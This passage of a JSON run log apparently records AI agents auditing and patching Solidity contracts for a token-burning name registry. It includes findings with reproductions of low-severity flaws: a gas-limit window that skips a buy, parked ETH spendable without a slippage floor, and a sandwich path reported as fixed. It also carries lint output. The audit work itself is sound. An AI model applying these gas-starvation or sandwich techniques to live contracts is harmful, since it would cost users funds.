it). LARPLinks: IDENTITY, LAUNCHER, LARP, NAMES, BURNER, isFren, asked, frenCount, fren, unfren (owner or agent of `me`; symmetric; counts only move together), crewCount, crewByName, invited, foundCrew, foundCrewWithImd (price from NAMES.crewPrice; crew founded then paid, atomic), invite, setOpen, join, leave, kick, passCaptain, disband (captain via LARP.canAct; captain cannot leave or be kicked; disband frees the name; stale _crewOf filtered by crewOf), crewOf, crew, allocOf, proveAlloc (distributorOf(uint64) 0x6c637492, roundOf(uint256) 0xc7c38091, claimed(uint256,addr","line":44,"path":"src/LARPBurner.sol","reproduction":"Commands run: forge test --no-match-path test/MainnetFork.t.sol (142 passed); forge build --sizes; forge test --match-path test/scratch/Vector.t.sol (a SwarmPrices harness at 0x0000000000000000000000000000000000002748 on chain 11155111 with signer 0x70997970C51812dc3A010C7d01b50e0d17dc79C8 accepts the protocol's VECTOR_SIGNATURE for the reference's vector attestation: passes); fine gas sweeps of LARPBurner.burn against the real v4 PoolManager (250-gas step 100k-1M with the repository's mocks: no route skipped; see the low finding for a heavy leg).","severity":"info","snippet":"contract LARPBurner {","title":"Coverage: all four contracts and all 138 entry points read; offline suite, protocol vector and sizes checked; fork tests not reachable"}],"hash":"9cd0ac4bfbb689d8c26925d2455b3f289eb5d2a7fb5e0cc6cbd5a7f9b2a8ec89","nodeId":"8b23a343-22be-45d9-990c-02855ff0d963","outcome":"completed","summary":"The review is complete and `.imd-findings.json` holds two findings. No source file was changed, and the scratch tests are removed.\n\n**What I read.** All four contracts in full, with their interfaces, SwarmPrices, Labels and SafeReads, plus the test base, mocks, AUDIT.md and the protected harness. Every one of the 138 entry points is answered in the coverage finding. The 11 mainnet fork tests could not run here, so the live ABIs of the launcher, distributors, hooks, IMD6900 and the Intake rest on the repository's fork tests and the oracle reference.\n\n**What held.** The offline suite passes with 142 tests. All four runtimes sit under the EIP-170 limit. The oracle verification reproduces the protocol's signed vector when a SwarmPrices harness is deployed at the vector address, so the struct, type string and domain match what the oracle signs. The callback fits the 200,000 gas stipend. Access control, link and placement bookkeeping, guardrails, selectors and the PoolManager storage reads all checked out.\n\n**The one defect, rated low.** The TooLittleGas guard added for AUDIT.md's L-01 only detects an out-of-gas in the direct callee. The real work runs two to four frames deeper, and each intermediate frame hands back its retained 1/64 of gas when it reverts, so a deep out-of-gas leaves the burner with 3/64 to 5/64 and the guard passes. With an IMD6900 leg costing about 800k gas, every gas limit between 758,000 and 1,968,000 succeeds while skipping the IMD6900 buy. The share still burns as $IMD at the dead address, so no funds are lost, but the stated guarantee that out-of-gas swaps revert does not hold. The attached proof fails on this code and passes with a stricter threshold, with the existing burner tests still green. The finding suggests either a fixed gas budget per try or a threshold a deep out-of-gas cannot reach.\n\n**Two notes in the coverage finding.** AUDIT.md says 144 offline tests and the suite here has 142. The renderer and artist are the only post-deployment settings, metadata only and kept by the brief.","treeHash":null,"usage":{"cachedInputTokens":2556707,"inputTokens":514,"model":"claude-fable-5-1","outputTokens":65073,"runtime":"claude","turns":38,"wallClockMs":1539184}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"de319b702da6aa2e","findings":[{"citation":"resolved","description":"From write_foundry_tests; reproduced. burn() books the waiting ETH it plans to sell (lines 182-185) before any route runs. If both routes then fail, the ETH stays (Parked) but the booking remains. For the rest of that block no burn(0) can sell waiting ETH, even after a route becomes able to. Nothing is lost: a caller's own fee is not affected, and the ETH sells in the next block. L-10's guarantee holds. This is a note, not a blocking defect. Fix if wanted: book _burnedInBlock only when a route succeeded (inside `if (ok)`), or reset the booking when imd == 0.","line":182,"path":"src/LARPBurner.sol","reproduction":"test/Base.sol fixture (_deploy; pools initialized and empty). vm.deal(burner, 0.3 ether); burner.burn(0) returns 0 (Parked), and the balance is 0.3 ether. In the same block, _fillPool4(); burner.burn(0). Expected: it buys with 0.1 ETH. Actual: it returns 0 and the balance stays 0.3 ether. After vm.roll(block.number+1), burn(0) buys 197.27 IMD and the balance is 0.2 ether. Measured in test/scratch/Booking.t.sol (logs: 'imd bought same block: 0', 'imd bought next block: 197268406807659426448').","severity":"info","snippet":"            if (waiting != 0) {\n                _burnBlock = uint64(block.number);\n                _burnedInBlock = uint192(spent + waiting);\n            }","title":"A burn whose routes all fail still books the waiting ETH against the block's MAX_BURN allowance"}],"hash":"c68e976cec41a06a737749d5d26f8e4e2101cb20e1cfd99c324ac1c635f57058","nodeId":"94ce9c5d-6973-4c22-aaf4-e7093adeaa9e","outcome":"completed","summary":"All five of my earlier findings are settled, and nothing blocking remains. I wrote `.imd-findings.json` with one info-level note and a coverage row for each of the 42 entry points (all `holds`). I copied every attached proof under `test/scratch/` and ran it against the revised code. The full suite passes: 257 passed, 11 skipped, 0 failed.\n\n**The two medium findings are fixed:**\n- **Gas-eating IMD6900 halted every burn (0a267c38):** fixed. The legs that run code a third party controls (POOL4's hook, and the pair hook with IMD6900) now get a fixed 3M gas budget. A call that can't fund that whole budget is refused before the leg runs, so a caller still can't starve it on purpose. A leg that uses up its whole budget is skipped instead of reverting the call. My proof and the specialist's proof now pass, and the AUDIT.md trust table is corrected. The cost is that `burn` now needs about 3.4M gas.\n- **Batched `burn(0)` sandwich (bb9c523e):** fixed. The caller's own fee goes first, up to `MAX_BURN`. Of the ETH that was already waiting in the burner, at most `MAX_BURN` leaves per block, tracked in `_burnBlock`/`_burnedInBlock`. The proof now passes (the searcher no longer profits), and its control still passes.\n\n**The advisory findings:**\n- **WETH royalties stuck in the burner:** fixed. `_unwrapWeth` unwraps them at the start of `burn`. It reads WETH9's balance and calls `withdraw`, and does nothing if WETH has no code there or refuses. The constructor still calls nothing.\n- **Callback selector in the docs:** fixed. The comment in `src/SwarmPrices.sol` and AUDIT.md now name `onVerdict`'s own selector, `0x8bf09c1b`.\n- **No-op price proposals** and **prices above `MAX_BURN` bought in parts:** the author disputed both and documented them as AUDIT.md L-12 and L-13. I accept that. Their reasoning holds: the simple fixes don't close the issue without changing the requester's governance or pricing, prices never leave the guardrails, and the remainder above the cap now leaves at most one cap per block. I'm not raising them again.\n\n**What the specialists reported:**\n- The economics and permissions reports on the sandwich and on WETH are duplicates of my findings above, and are now fixed.\n- The flow and math reports are duplicates of the gas finding and of my two advisory ones.\n- The test writer's note reproduced, and it is the one item in the file, as info. `burn` counts waiting ETH against the block's allowance (`src/LARPBurner.sol:182-185`) before it tries any route. If every route fails, that ETH can't be sold again until the next block, even if a pool gains liquidity in between. My scratch test shows the same-block retry buying 0 and the next block buying 197.27 IMD. Nothing is lost and the per-block guarantee still holds, so it doesn't block the launch.\n\n**Manifest:** `launch.json` matches the brief: four contracts in order, the stated constructor arguments, and only schema keys.\n\nMy scratch tests are removed and I changed no tracked files. Several untracked dotfiles (`.bashrc`, `.claude/`, `.gitmodules` and others) show up in the working tree; I didn't create them. `.gitmodules` matters because the rules say never to leave a git submodule, so check it before upload.","treeHash":null,"usage":{"cachedInputTokens":1176931,"inputTokens":28,"model":"claude-opus-5-5","outputTokens":14723,"runtime":"claude","turns":15,"wallClockMs":531883}},{"artifacts":[],"attempt":1,"bundleHash":"9c018f7177a15fe4af5a16d2a2865ea4c6a3f51832857de5b33fb2315275986c","device":"f009de0ce52c7b3a","findings":[],"hash":"e3d896f650fd07230cf5af1fe9c7e63f39a128ecf3d6cdff6ab1ce21fc96df77","nodeId":"15e981b5-6103-4fa0-b3da-ad176809b612","outcome":"completed","summary":"Done. The project was already launch-shaped, so the work came down to one reproduced audit finding, its fix, its tests, and the notes.\n\n**What I found**\n\n- The four contracts already meet the launch rules: constructors store addresses and call nothing, no owner or upgrade path, no forbidden opcodes, one transaction, runtimes under the size limit. All of this was tested in `test/Launch.t.sol` and passes unchanged. Interfaces and constructor arguments are untouched.\n- The audit's low finding reproduced. The gas guard in `LARPBurner._tryUnlock` only caught an out-of-gas in the PoolManager itself. The swap, hook and IMD6900 burn run several frames deeper, and each frame hands back 1/64 of its gas on revert, so a starved call passed the 1/63 check, counted the leg as failed, and skipped the IMD6900 buy. The attached proof failed on the code as it arrived.\n- The informational coverage finding reports no defect and needed no action.\n\n**What I changed**\n\n- `src/LARPBurner.sol`: the guard now reverts with TooLittleGas when a failed try left no more than a quarter of its gas, instead of 1/63. That catches an out-of-gas down to 18 frames while a genuine revert, which returns nearly all its gas, is still skipped rather than fatal. This keeps the brief's rule that out-of-gas swaps revert. I did not take the fixed-budget alternative, since a leg that outgrew the budget would become silently skippable with no owner to raise it.\n- `test/LARPBurner.t.sol`: three tests, all of which fail against the old guard. A heavy IMD6900 at 1M gas reverts; a sweep from 500k to 2.5M never skips the leg; a genuine failure is still skipped at 1M gas and refused rather than skipped at 300k. `test/Base.sol` makes the mock's burn virtual for the heavy variant.\n- `AUDIT.md` and `README.md`: L-01 updated with the reason, the cost and the new tests; test count corrected to 145.\n- `ADAPTATION.md`: each change, the finding that required it, what was left alone and why, and the checks run.\n\n**The one cost worth knowing**: a leg that reverts for a real reason after heavy work, such as an empty pool whose swap walks the whole tick range, now needs a gas limit about a third above that work. Gas used is unchanged and a refused call moves nothing.\n\n**Verification**: forge build is clean. The full offline suite with an empty environment passed 145 tests and skipped the 11 fork tests. Build configuration, dependencies and launch.json were not touched.","treeHash":"852be84eb17690e6737b123d20c9182b3a29b855","usage":{"cachedInputTokens":1567011,"inputTokens":546,"model":"claude-fable-5-1","outputTokens":26336,"runtime":"claude","turns":36,"wallClockMs":1551721}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"4576f670afa0131d","findings":[{"citation":"resolved","description":"The comment (and AUDIT.md line 136, 'the callback selector 0x510379c7 matches IMD's docs') states the verdict callback's selector is 0x510379c7. That value is the selector of the reference's example name onOracleResult(bytes32,(bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint16,uint16,uint16,uint64,uint64),bytes). The contract's function is named onVerdict, so its selector is 0x8bf09c1b. Harmless at runtime: propose() registers this.onVerdict.selector with the Intake, and the oracle reference says the callback's name is the consumer's own; only the parameter types are fixed. Reported so the next reader does not take 0x510379c7 as evidence the struct layout was verified. The layout itself IS right: the protocol's conformance vector (REFERENCE.md: consumer 0x…2748 on chain 11155111, digest 0x95fefa8b…, signature a26b1491…, signer 0x7099…79C8) verifies through onVerdict (no BadVerdictSignature; the bytes32[] answer is then a Rejection), and a one-field tamper is refused. The repository's own signature tests sign their own digest with their own key, which proves nothing about the protocol's encoding; adding the vector test is the fix for the documentation claim.","line":22,"path":"src/SwarmPrices.sol","reproduction":"cast sig 'onVerdict(bytes32,(bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint16,uint16,uint16,uint64,uint64),bytes)' -> 0x8bf09c1b. cast sig 'onOracleResult(bytes32,(...same tuple...),bytes)' -> 0x510379c7. In Solidity: SwarmPrices.onVerdict.selector == 0x8bf09c1b != 0x510379c7 (verified in a scratch test). Expected: the comment and AUDIT.md name the selector the contract actually registers (0x8bf09c1b) or say the name is free. Actual: both cite a selector that belongs to a differently named function.","severity":"info","snippet":"/// @dev IMD's OracleAttestation, field for field (the callback selector 0x510379c7 depends on this layout).","title":"The callback selector the source and AUDIT.md cite (0x510379c7) is not onVerdict's; it is onOracleResult's"},{"citation":"resolved","description":"SwarmPrices lets any name price reach MAX_PRICE = 1 ether through 2x weekly steps, while LARPBurner.burn spends at most MAX_BURN = 0.1 ether per call. IMDNames.register forwards the full price with burn{value: price}(minImd); the burn buys IMD with only 0.1 ETH, compares THAT purchase with the registrant's minImd, and leaves the remainder in the burner. No Parked event is emitted (imd > 0), and the surplus is then spent by anyone's burn(0), 0.1 ETH at a time, with no slippage floor. Boundary x invariant seam: the invariant 'a fee leaves the burner only under the payer's minImd' holds for price <= 0.1 ETH and silently stops holding above it. Severity is low (a guarantee broken under a specific, swarm-approved condition; no loss beyond the already-bounded L-04 exposure): an honest registrant with any slippage floor above what 0.1 ETH buys cannot register at all above ~0.103 ETH, and the exposure per burn(0) is the 0.1 ETH already analysed in AUDIT.md L-04 (sandwiching it is below break-even on POOL4's 1% fee; live POOL4 holds ~26 ETH of virtual reserve so a 0.1 ETH buy moves price ~0.4%), and a price above 0.1 ETH is outside the swarm's pricing guidelines (a 1-3 letter name at 10x a 1-5 USD name is ~0.01-0.02 ETH). Paying the same price in IMD (registerWithImd) burns the whole amount at once, so the two payment paths also differ above the cap. If the author wants the invariant to hold, either cap MAX_PRICE at MAX_BURN or loop the ETH route in burn() until the payment is spent (each leg exact-or-nothing), keeping the per-leg cap.","line":153,"path":"src/LARPBurner.sol","reproduction":"State: four executed proposals raise prices.short 0.0069 -> 0.0138 -> 0.0276 -> 0.0552 -> 0.1104 ether (each step passes _checkStep and _checkBounds; one a week). Call: alice registers a 3-letter name: names.register{value: 0.1104 ether}(label, alice, minImd) where minImd = burner.quoteImd(0.1104 ether) * 97 / 100. Expected (by the minImd contract): the 0.1104 ETH buys at least minImd IMD or the call reverts. Actual: LARPBurner.burn computes eth = min(balance, 0.1 ether) = 0.1 ether, swaps 0.1 ETH, compares the IMD from 0.1 ETH with minImd (so the call REVERTS with TooLittleIMD for this honest minImd, since 0.1 ETH cannot buy 97% of 0.1104 ETH's worth), and with a lower minImd succeeds leaving 0.0104 ETH in the burner, Bought(0.1 ether, imd, route) emitted, no Parked event; carol then calls burner.burn(0) and spends it with no floor. Scratch check on the local PoolManager fixture: vm.deal(burner, 0.4 ether); carol burn(0) -> balance 0.3 ether (test_ParkedEthIsAnyonesToBurnWithoutMinImd, test_AtMostMaxBurnPerCall).","severity":"low","snippet":"        if (eth > MAX_BURN) eth = MAX_BURN;","title":"MAX_PRICE (1 ETH) exceeds MAX_BURN (0.1 ETH): a registration priced above 0.1 ETH is only partly bought under the registrant's minImd; the rest is parked for anyone's burn(0)"}],"hash":"f04bcce1b849f30f95832da1d9962e3a359e8b4610ff80c64e7cca0f49dd7e82","nodeId":"9d1b1c5b-2955-49c7-9c56-56f1ac44c840","outcome":"completed","summary":"The review is complete and `.imd-findings.json` is written. The tree is otherwise unchanged (scratch tests removed).\n\n**Outcome: the math holds.** No critical, high or medium defects in the Math Precision, Boundary or Numerical Gap areas. Two findings, both with exact reproductions, and a coverage row for every one of the 138 entry points (none unreached).\n\n**Findings**\n- **Low, `src/LARPBurner.sol:153`.** `MAX_PRICE` (1 ETH) exceeds `MAX_BURN` (0.1 ETH). A registration priced above 0.1 ETH buys IMD with only 0.1 ETH, checks the registrant's `minImd` against that slice, and parks the rest for anyone's `burn(0)` with no floor. With an honest 3% floor, `register` reverts outright above about 0.103 ETH. Reproduction walks the price from 0.0069 to 0.1104 ETH in four permitted 2x steps. Exposure is bounded by the L-04 analysis and such prices sit outside the swarm's guidelines, hence low.\n- **Info, `src/SwarmPrices.sol:22`.** The comment and AUDIT.md cite callback selector 0x510379c7, which belongs to the reference's `onOracleResult`; `onVerdict` is 0x8bf09c1b. Harmless, since the contract registers its own selector with the Intake.\n\n**What I verified beyond reading**\n- The protocol's published EIP-712 conformance vector verifies through `onVerdict` on a copy of the contract placed at the vector address, and a one-field tamper is refused. The repository's own signature tests are self-signed and could not have caught an encoding mismatch.\n- The hardcoded v4 storage layout and BalanceDelta unpacking match the vendored v4-core, and all three pool keys resolve to live mainnet pools with in-range liquidity through the local RPC.\n- The 2x step guardrail is exact to the wei, the spot quote sits about 1% above the fee-laden ETH buy, sub-15-wei IMD shares go wholly to DEAD, and the jeet division cannot hit zero.\n- The full offline suite passes (145 tests, 11 fork tests skipped).\n\n**Leads examined and dropped:** a frozen POOL4 price feeding `quoteImd` (closing the market withdraws its liquidity, so the quote reverts as designed), and every Slither and Aderyn line, all of which were false positives or already-tested behaviour.","treeHash":null,"usage":{"cachedInputTokens":2304443,"inputTokens":514,"model":"claude-fable-5-1","outputTokens":63051,"runtime":"claude","turns":31,"wallClockMs":1141875}}],"verification":[{"checks":[{"durationMs":100258,"exitCode":0,"name":"build","output":"Compiling 99 files with Solc 0.8.26\nSolc 0.8.26 finished in 100.08s\nCompiler run successful!\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/LARPBurner.sol:245:21\n    │\n245 │             return (true, r);\n    │                     ━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/LARPBurner.sol:248:21\n    │\n248 │             return (false, \"\");\n    │                     ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[uninitialized-local]: local variable is read before being initialized\n   ╭▸ src/Labels.sol:23:16\n   │\n23 │         while (n < 32 && label[n] != 0) ++n;\n   │                ━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/uninitialized-local\n\nwarning[unsafe-typecast]: typecast can truncate values\n   ╭▸ src/SwarmPrices.sol:81:38\n   │\n81 │     bytes32 public constant ACTION = bytes32(\"oracle.request@oracle-1\");\n   │                                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n   │\n   ├ note: consider disabling this lint if you're certain the cast is safe\n   │       \n   │       // casting to 'bytes32' is safe because [explain why]\n   │       // forge-lint: disable-next-line(unsafe-typecast)\n   │       \n   │       \n   ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/SwarmPrices.sol:129:17\n    │\n129 │     constructor(address intake, address oracleSigner, Prices memory start) {\n    │                 ━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[unsafe-typecast]: typecast can truncate values\n   ╭▸ src/SafeReads.sol:21:46\n   │\n21 │         return ok && w >> 160 == 0 ? address(uint160(w)) : address(0);\n   │                                              ━━━━━━━━━━\n   │\n   ├ note: consider disabling this lint if you're certain the cast is safe\n   │       \n   │       // casting to 'uint160' is safe because [explain why]\n   │       // forge-lint: disable-next-line(unsafe-typecast)\n   │       \n   │       \n   ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/SwarmPrices.sol:129:33\n    │\n129 │     constructor(address intake, address oracleSigner, Prices memory start) {\n    │                                 ━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/LARPBurner.sol:103:9\n    │\n103 │         address pairHook\n    │         ━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/LARPBurner.sol:97:9\n   │\n97 │         address pool4Hook,\n   │         ━━━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[return-bomb]: external call with a gas limit may copy unbounded return data\n   ╭▸ src/SafeReads.sol:47:40\n   │\n47 │         (bool ok, bytes memory data) = target.staticcall{gas: gasCap}(call);\n   │                                        ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/return-bomb\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:125:16\n    │\n125 │         return int24(s);\n    │                ━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int24' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/IMDNames.sol:220:33\n    │\n220 │         if (at == 0) return (0, false);\n    │                                 ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/IMDNames.sol:228:42\n    │\n228 │         if (owner == address(0)) return (false, address(0), 0, false);\n    │                                          ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/IMDNames.sol:228:64\n    │\n228 │         if (owner == address(0)) return (false, address(0), 0, false);\n    │                                                                ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/IMDNames.sol:240:33\n    │\n240 │         if (label == 0) return (false, address(0), 0, false);\n    │                                 ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/IMDNames.sol:240:55\n    │\n240 │         if (label == 0) return (false, address(0), 0, false);\n    │                                                       ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/IMDNames.sol:247:37\n    │\n247 │         if (at == 0) return (0, \"\", false);\n    │                                     ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/LARPLinks.sol:208:9\n    │\n208 │         LARPBurner(payable(BURNER)).burn{value: msg.value}(minImd);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/LARPBurner.sol:244:13\n    │\n244 │         try POOL_MANAGER.unlock(abi.encode(route, amount)) returns (bytes memory r) {\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/IMDNames.sol:67:63\n   │\n67 │     constructor(address identity, ILARP larp, address burner, address artist_, address intake, address oracleSigner)\n   │                                                               ━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/LARPBurner.sol:159:21\n    │\n159 │                     emit Bought(eth, imd, route);\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/LARPBurner.sol:163:27\n    │\n163 │             if (imd == 0) emit Parked(eth);\n    │                           ━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/LARPBurner.sol:233:9\n    │\n233 │         emit Burned(rest, share, burned6900);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/LARPBurner.sol:247:45\n    │\n247 │             if (gasleft() <= gasBefore / 4) revert TooLittleGas();\n    │                                             ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/IMDNames.sol:109:9\n    │\n109 │         LARPBurner(payable(BURNER)).burn{value: price}(minImd);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/SwarmPrices.sol:167:9\n    │\n167 │         emit Proposed(requestId, number, msg.sender, next);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/IMDNames.sol:123:24\n    │\n123 │         if (toll != 0) LARPBurner(payable(BURNER)).burn{value: toll}(minImd);\n    │                        ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:195:43\n    │\n195 │                 pair, SwapParams(imdIs0, -int256(amount), imdIs0 ? MIN_PRICE_LIMIT : MAX_PRICE_LIMIT), \"\"\n    │                                           ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:198:27\n    │\n198 │                 imdIs0 ? (int128(delta >> 128), int128(delta)) : (int128(delta), int128(delta >> 128));\n    │                           ━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:198:49\n    │\n198 │                 imdIs0 ? (int128(delta >> 128), int128(delta)) : (int128(delta), int128(delta >> 128));\n    │                                                 ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:198:67\n    │\n198 │                 imdIs0 ? (int128(delta >> 128), int128(delta)) : (int128(delta), int128(delta >> 128));\n    │                                                                   ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:198:82\n    │\n198 │                 imdIs0 ? (int128(delta >> 128), int128(delta)) : (int128(delta), int128(delta >> 128));\n    │                                                                                  ━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:199:30\n    │\n199 │             if (imdDelta != -int128(int256(amount)) || outDelta <= 0) revert Unfilled();\n    │                              ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:199:37\n    │\n199 │             if (imdDelta != -int128(int256(amount)) || outDelta <= 0) revert Unfilled();\n    │                                     ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/LARPBurner.sol:202:13\n    │\n202 │             POOL_MANAGER.settle();\n    │             ━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:203:27\n    │\n203 │             uint256 out = uint128(outDelta);\n    │                           ━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:211:61\n    │\n211 │         int256 d = POOL_MANAGER.swap(key, SwapParams(true, -int256(amount), MIN_PRICE_LIMIT), \"\");\n    │                                                             ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:212:27\n    │\n212 │         int128 ethDelta = int128(d >> 128);\n    │                           